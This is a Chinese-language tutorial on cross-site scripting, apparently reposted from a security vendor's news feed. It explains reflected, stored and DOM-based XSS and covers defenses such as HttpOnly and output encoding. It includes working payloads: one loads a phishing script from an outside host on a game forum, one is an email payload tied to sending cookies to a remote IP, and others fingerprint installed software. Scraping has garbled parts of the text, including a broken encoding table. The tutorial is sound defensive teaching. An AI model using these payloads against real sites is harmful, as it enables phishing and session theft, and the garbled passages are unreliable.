Web系列教程之跨站腳本和防範技巧詳解

時間 2020-09-24

標籤 web 系列教程腳本防範技巧詳解欄目 HTML 简体版

原文原文鏈接

XSS跨站腳本***一直都被認爲是客戶端Web安全中最主流的***方式。由於Web環境的複雜性以及XSS跨站腳本***的多變性，使得該類型***很難完全解決。那麼，XSS跨站腳本***具體***行爲是什麼，又該如何進行有效的防範呢？本文對此進行了有針對性的具體實例分析。javascript

跨站腳本***（Cross Site Scripting）是指***者利用網站程序對用戶輸入過濾不足，輸入能夠顯示在頁面上對其餘用戶形成影響的HTML代碼，從而盜取用戶資料、利用用戶身份進行某種動做或者對訪問者進行病毒侵害的一種***方式。爲了與層疊樣式表（Cascading Style Sheets）的縮寫CSS區分開，跨站腳本***一般簡寫爲XSS。php

下面這個頁面的主要做用是獲取用戶輸入的參數做爲用戶名，並在頁面中顯示「歡迎您，XXX」的形式，具體代碼以下：html

<?phpjava

$username = $_GET["name"];數據庫

echo "<p>歡迎您, ".$username."!</p>";express

?>windows

正常狀況下，用戶會在URL中提交參數name的值爲本身的姓名，而後該數據內容會經過以上代碼在頁面中展現，如用戶提交姓名爲「張三」，完整的URL地址以下：瀏覽器

http://localhost/test.php?name=張三安全

在瀏覽器中訪問時，會顯示以下圖1所示內容：服務器

圖1

此時，由於用戶輸入的數據信息爲正常數據信息，通過腳本處理之後頁面反饋的源碼內容爲<p>歡迎您, 張三!</p>。可是若是用戶提交的數據中包含有可能被瀏覽器執行的代碼的話，會是一種什麼狀況呢？咱們繼續提交name的值爲<script>alert(/個人名字是張三/)</script>,即完整的URL地址爲
http://localhost/test.php?name=<script>alert(/個人名字是張三/)</script>

在瀏覽器中訪問時，咱們發現會有彈窗提示，以下圖2所示：

圖2

那麼此時頁面的源碼又是什麼狀況呢？

源碼變成了「<p>歡迎您, <script>alert(/個人名字是張三/)</script>!</p>」，從源代碼中咱們發現，用戶輸入的數據中，<script>與</script>標籤中的代碼被瀏覽器執行了，而這並非網頁腳本程序想要的結果。這個例子正是最簡單的一種XSS跨站腳本***的形式，稱之爲反射型XSS。

XSS跨站腳本***的分類

根據XSS跨站腳本***存在的形式及產生的效果，能夠將其分爲如下三類。

1、反射型XSS跨站腳本***

反射型XSS腳本***即如咱們上面所提到的XSS跨站腳本***方式，該類型只是簡單地將用戶輸入的數據直接或未通過完善的安全過濾就在瀏覽器中進行輸出，致使輸出的數據中存在可被瀏覽器執行的代碼數據。因爲此種類型的跨站代碼存在於URL中，因此***一般須要經過誘騙或加密變形等方式，將存在惡意代碼的連接發給用戶，只有用戶點擊之後才能使得***成功實施。

2、存儲型XSS跨站腳本***

存儲型XSS腳本***是指Web應用程序會將用戶輸入的數據信息保存在服務端的數據庫或其餘文件形式中，網頁進行數據查詢展現時，會從數據庫中獲取數據內容，並將數據內容在網頁中進行輸出展現，所以存儲型XSS具備較強的穩定性。

存儲型XSS腳本***最爲常見的場景就是在博客或新聞發佈系統中，***將包含有惡意代碼的數據信息直接寫入文章或文章評論中，全部瀏覽文章或評論的用戶，都會在他們客戶端瀏覽器環境中執行插入的惡意代碼。如流行的Bo-Blog程序的早期版本中存在對用戶提交評論數據過濾不嚴致使的XSS跨站腳本***漏洞，***能夠在文章評論中提交插入惡意數據的UBB代碼，提交後，Bo-Blog程序會將數據保存至數據庫中，當用戶瀏覽該日誌時，就會執行插入的惡意代碼，如圖3所示。

圖3

3、基於DOM的XSS跨站腳本***

基於DOM的XSS跨站腳本***是經過修改頁面DOM節點數據信息而造成的XSS跨站腳本***。不一樣於反射型XSS和存儲型XSS，基於DOM的XSS跨站腳本***每每須要針對具體的javascript DOM代碼進行分析，並根據實際狀況進行XSS跨站腳本***的利用。讓咱們來針對以下代碼進行詳細分析：

<html>

<head>

<title>DOM Based XSS Demo</title>

function xsstest()

{

var str = document.getElementById("input").value;

document.getElementById("output").innerHTML = "<img src='"+str+"'></img>";

}

</script>

</head>

<body>

</body>

</html>

以上代碼的做用是提交一個圖片的URL地址之後，程序會將圖片在頁面中進行展現，如咱們提交百度LOGO圖片的地址http://www.baidu.com/img/baidu_sylogo1.gif，那麼在頁面中展現結果以下圖4所示。

圖4

當用戶輸入完百度LOGO的地址，點擊「提交」按鈕後，「提交」按鈕的 src=」 http://www.baidu.com/img/baidu_sylogo1.gif」></img>」。

以上狀況爲正常的用戶輸入狀況，那***又是怎麼利用該種類型代碼實現XSS跨站腳本***的呢？***能夠經過構造以下數據，輸入「#’ onerror=’javascript:alert(/DOM Based XSS Test/)」，在瀏覽器中提交後，發現代碼果真被執行，出現了彈窗提示，以下圖5所示。

圖5

XSS跨站腳本***實例

以上是針對XSS跨站腳本***三種類型的簡單介紹。看了上面的描述朋友們或許會想，難道僅僅彈出一個提示框就是XSS跨站腳本***了嗎？答案固然是否認的，XSS跨站腳本***的利用能夠實現多種效果，甚至能夠說XSS跨站腳本***漏洞的利用是一種******的藝術，下面咱們結合具體實例進行詳細的分析和描述，瞭解一下XSS跨站腳本***都能作些什麼事情。

XSS跨站腳本***利用釣魚

目前，網絡釣魚***的方式比較多，包括申請註冊類似域名，構建類似度高的網站環境和發佈虛假中獎信息等，可是以上釣魚***方式針對有必定安全意識的網民來講，很難實現成功的釣魚***。然而經過XSS跨站腳本***漏洞進行的釣魚***，即便有必定安全意識的網民，也沒法抵禦。這裏咱們以盛大遊戲論壇的XSS跨站腳本***漏洞利用的釣魚***演示（目前，該漏洞已經修復）。首先，咱們須要瞭解的是，盛大的遊戲登陸都是使用盛大通行證進行登陸的，而盛大的遊戲論壇也是使用盛大通行證進行登陸，因此，若是***經過盜取遊戲玩家登陸論壇時的信息，就至關於盜取了玩家遊戲帳號和密碼。盛大的遊戲論壇就存在XSS跨站腳本***漏洞，使得***能夠經過該漏洞獲取用戶的帳號和密碼。存在過濾不嚴的位置爲用戶資料中的我的主頁部分，經過在我的主頁欄中輸入以下代碼：

[url]http://'' STYLE='a:expression(document.write("<s\143ript language=javas\143ript src=http://www.123.com/1.jpg Charset=GB23></s\143ript>"))' target=_blank[/url]

而後利用該帳號在論壇中發帖子或回覆，這樣當其餘玩家訪問咱們發佈或回覆的帖子時，就會執行咱們插入的惡意代碼。http://www.123.com/1.jpg就是咱們構造的惡意代碼，這個代碼是咱們用來釣魚的頁面，以下圖6所示：

圖6

顯示的內容和盛大官方遊戲論壇登陸的頁面同樣，若是不經過查看網頁源代碼的方式是沒法從頁面顯示中看出任何問題的，當玩家輸入通行證帳號和密碼信息並點擊登陸時，帳號提交的地址不是盛大的服務器，而是***的服務器。從源碼中，能夠看到帳號和密碼發送到的***服務器帳號接收程序的地址，以下圖7所示：

圖7

XSS跨站腳本***盜取用戶Cookie信息

經過XSS跨站腳本***盜取用戶Cookie信息一直是XSS跨站腳本***漏洞利用的最主流方式之一。當用戶正常登陸Web應用程序時，用戶會從服務端獲得一個包含有會話令牌的cookie：
Set-Cookie： SessionID=6010D6F2F7B24A182EC3DF53E65C88FCA17B0A96FAE129C3
***則能夠經過XSS跨站腳本***的方式將嵌入惡意代碼的頁面發送給用戶，當用戶點擊瀏覽時，***便可獲取用戶的Cookie信息並用該信息欺騙服務器端，無需帳號密碼便可直接成功登陸。這裏咱們以網易郵箱的XSS跨站腳本***漏洞爲例進行分析和描述。網易郵箱老版本中，曾經存在一個XSS跨站腳本***漏洞，***能夠構造以下代碼：

</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

圖8

並將包含有如圖8所示惡意代碼的郵件發送至網易郵箱用戶時，用戶打開了含有惡意代碼的郵件後，代碼就會自動將用戶的cookie信息發送到61.130.75.239上的163.asp文件，其中163.asp的做用是記錄發送過來的Cookie，記錄的Cookie內容以下圖9所示：

圖9

在接收到Cookie之後，就能夠經過Cookie欺騙的方式實現登陸目標郵箱了，如圖10所示。

圖10

XSS跨站腳本***蒐集客戶端環境信息

蒐集客戶端環境信息在更多的時候主要應用於指定目標的******或網絡掛馬***，如瞭解客戶端環境所使用的瀏覽器信息、操做系統信息、組件是否安裝以及安全防禦軟件安裝狀況等。經過XSS跨站腳本***能夠更加方便、快速地實現客戶端環境信息的收集。

那麼如何經過javascript收集以上信息呢？咱們構造以下腳本代碼，並在瀏覽器中執行這段代碼。

alert(navigator.userAgent);

</script>

獲得的結果以下圖11所示。

圖11

這個信息中告訴了咱們以上關心的兩個信息，一個是瀏覽器的類型和版本，另一個是客戶端環境操做系統的版本。

瀏覽器：MSIE 8.0（微軟IE瀏覽器，瀏覽器版本是8.0）

操做系統：Windows NT 6.1（操做系統類型是windows 7）

經過以上方式能夠獲取客戶端的瀏覽器和操做系統信息，接下來咱們在繼續判斷客戶端環境組件安裝狀況。構造代碼以下：

try{

var object = new ActiveXObject("XunLeiBHO.ThunderIEHelper");

} catch(e){ alert("迅雷軟件未安裝");

}

</script>

客戶端環境中若是安裝迅雷下載軟件的話，那麼就會安裝相應的ActiveX控件XunLeiBHO.ThunderIEHelper，以上腳本的做用便是經過網頁腳本去加載迅雷的ActiveX控件，若是控件存在則不會拋出異常，不然就會拋出異常並被腳本捕獲，運行上面的腳本代碼時，安裝有迅雷的環境不會有任何提示，未安裝迅雷的環境就會彈窗提示「迅雷軟件未安裝」。

控件判斷能夠經過網頁加載ActiveX控件的方式實現，那麼怎麼經過腳本判斷客戶端環境中是否安裝了安全軟件呢？這裏咱們以瑞星安全軟件爲例，分析描述如何經過XSS跨站腳本***漏洞的利用檢測客戶端環境是否存在瑞星安全軟件。咱們構造代碼以下：

var havesoft=false;

var disk=['c','d'];

var soft=[':\\Program Files\\Rising\\Ris\\BackRav.dll/2/30994'];

for(i=0;i<soft.length;i++)

{ for(j=0;j<disk.length;j++)

{ var img=new Image();

res='res://'+disk[j]+soft[i];

img.src=res;

if(img.height!=30)

{

havesoft=true;

}

</script>

以上代碼的做用是經過javascript結合res協議對客戶端環境中的資源文件進行加載，javascript腳本運行後，會對客戶端環境的C、D盤進行訪問，訪問是否存在瑞星默認安裝路徑的資源文件，並嘗試對資源文件進行加載，若是加載成功，則說明資源文件存在，也說明瑞星安全軟件的存在，並將變量havesoft置爲真，腳本檢測結束後，只須要檢測該變量是否爲真便可。

XSS Worm

相對於以上三種狀況，能夠說是XSS蠕蟲（XSS Worm）的破壞力和影響力都是巨大的。XSS蠕蟲主要發生在用戶之間存在交互行爲的頁面中，當Web應用程序對用戶輸入的數據信息沒有作嚴格的過濾時，經過結合Ajax的異步提交，就能夠實如今植入惡意代碼的同時，將惡意代碼進行對外發送，即實現了代碼的感染和傳播，也就造成了XSS蠕蟲。

談到XSS蠕蟲就頗有必要介紹一下新浪微博遭受XSS蠕蟲***事件，同時咱們也以這次***事件做爲例子，對***惡意利用漏洞至XSS蠕蟲大範圍擴散的過程進行詳細分析和描述，並對該XSS蠕蟲的惡意腳本文件進行一下簡要的分析。

此處請參見拙做《重新浪微博被***事件看SNS網站的安全問題（下）》，再也不贅述。

XSS跨站腳本***的防範

經過以上針對不一樣種狀況的XSS跨站腳本***的描述，咱們瞭解到了在複雜的Web環境中，XSS的利用是變幻無窮的，如何可以有效地防範XSS跨站腳本***問題一直都是瀏覽器廠商和網站安全技術人員關注的熱門話題。如今不少瀏覽器廠商都在本身的程序中增長了防範XSS跨站腳本***的措施，如IE瀏覽器從IE8開始內置了XSS篩選器，Firefox也有相應的CSP、Noscript擴展等。而對於網站的安全技術人員來講，提出高效的技術解決方案，保護用戶免受XSS跨站腳本***纔是關鍵。下面咱們結合網站安全設計，描述一下如何經過技術手段實現XSS跨站腳本***的防範。

利用HttpOnly

HttpOnly最初是由微軟提出的，目前已經被多款流行瀏覽器廠商所採用。HttpOnly的做用不是過濾XSS跨站腳本***，而是瀏覽器將禁止頁面的Javascript訪問帶有HttpOnly屬性的Cookie，解決XSS跨站腳本***後的Cookie會話劫持行爲。

httpOnly是在Set-Cookie時進行標記的，設置的Cookie頭格式以下：

Set-Cookie: <name>=<value>[; <name>=<value>]

[; expires=<date>][; domain=<domain_name>]

[; path=<some_path>][; secure][; HttpOnly]

以php爲例，在php 5.2版本時就已經在Setcookie函數加入了對HttpOnly的支持，如

<?php

setcookie("user", "admin", NULL, NULL, NULL, NULL, TRUE);

經過以上代碼就能夠設置user這個cookie，將其設置爲HttpOnly，setcookie函數實質是經過向客戶端發送原始的HTTP報文頭進行設置的，document將不可見這個Cookie，因此使用document.cookie就取不到這個Cookie，也就是先了對Cookie的保護。

完善的輸入和輸出檢查

因爲三種XSS跨站腳本***類型的漏洞成因可不相同，針對輸入輸出的檢查一部分適用於反射型XSS與存儲型XSS，而另一些檢查適用於基於DOM的XSS。

A. 防範反射型XSS和存儲型XSS

輸入檢查在大多數的時候都是對可信字符的檢查或輸入數據格式的檢查，如用戶輸入的註冊帳號信息中只容許包括字母、數字、下劃線和漢字等，對於輸入的一切非白名單內的字符均認爲是非法輸入。數據格式如輸入的IP地址、電話號碼、郵件地址、日期等數據都具備必定的格式規範，只有符合數據規範的輸入信息才容許經過檢查。

輸出檢查主要是針對數據展現過程當中，應該對數據信息進行HTML編碼處理，將可能存在致使XSS跨站腳本***的惡意字符進行編碼，在不影響正常數據顯示的前提條件下，過濾惡意字符。常見的可能形成XSS跨站腳本***的字符及其HTML編碼以下：

「 "

‘ '

& &

< <

> >

除了經常使用的編碼外，任何字符均可以使用其ASCII碼進行HTML編碼，如

% %

* *

B. 防範基於DOM的XSS

從基於DOM的XSS的定義及其觸發方式咱們發現，當基於DOM的XSS跨站腳本***發生時，惡意數據的格式與傳統的XSS跨站腳本***數據格式有必定的差別，甚至能夠在不通過服務器端的處理和相應的狀況下，直接對客戶端實施***行爲，所以上述咱們應用於防範反射型XSS和存儲型XSS的方法並不適用於防範基於DOM的XSS跨站腳本***。

針對基於DOM的XSS防範的輸入檢查方法，咱們發如今客戶端部署相應的安全檢測代碼的過濾效果要比在服務器端檢測的效果更加明顯。例如，咱們能夠經過以下客戶端檢測代碼來保證用戶輸入的數據只包含字母、數字和空格，代碼以下：

var str = document.URL;

str = str.substring(str.indexOf("username=")+9, str.length);

str = unescape(str);

var regex=/^([A-Za-z0-9+\s])*$/;

if (regex.test(str))

document.write(str);

</script>

一樣，咱們也能夠經過在服務端實現相似上述數據檢查的功能，如在服務器端檢測URL參數是否爲預約的參數username,並對username參數的內容進行檢測，確認數據內容是否爲只包含數字、字母和空格符，實現服務端的數據過濾。可是，因爲客戶端數據的可控性，這種服務端檢測的效果要明顯弱於客戶端檢測。

基於DOM的XSS輸出檢查與反射型XSS漏洞輸出檢查的方法類似，在將用戶可控的DOM數據內容插入到文檔以前，Web應用程序應對提交的數據進行HTML編碼處理，將用戶提交的數據中可能存在的各類危險字符和表達式進行過濾以安全的方式插入到文檔中進行展示，如能夠經過以下函數實如今客戶端javascript中執行HTML編碼處理。

function jsEncode(str)

{

var d = document.createElement('div');

d.appendChild(document.createTextNode(str));

return d.innerHTML;

}

XSS跨站腳本***做爲Web應用安全領域中最大威脅之一，不只僅危害Web應用業務的正常運營，對訪問Web應用業務的客戶端環境和用戶也帶來了直接安全影響。雖然XSS跨站腳本***在複雜的Web應用環境中利用方式變幻無窮，可是網絡安全人員經過對Web應用的各類環境進行詳細分析和處理，徹底阻斷XSS跨站腳本***是能夠實現的。如何有效防範和阻止XSS跨站腳本***，保障Web應用系統的業務安全和正常運營，保護客戶端用戶免受XSS跨站腳本***行爲的侵害，是Web應用系統管理人員和網絡安全產品開發人員的共同職責。

本文來源：瑞星安全資訊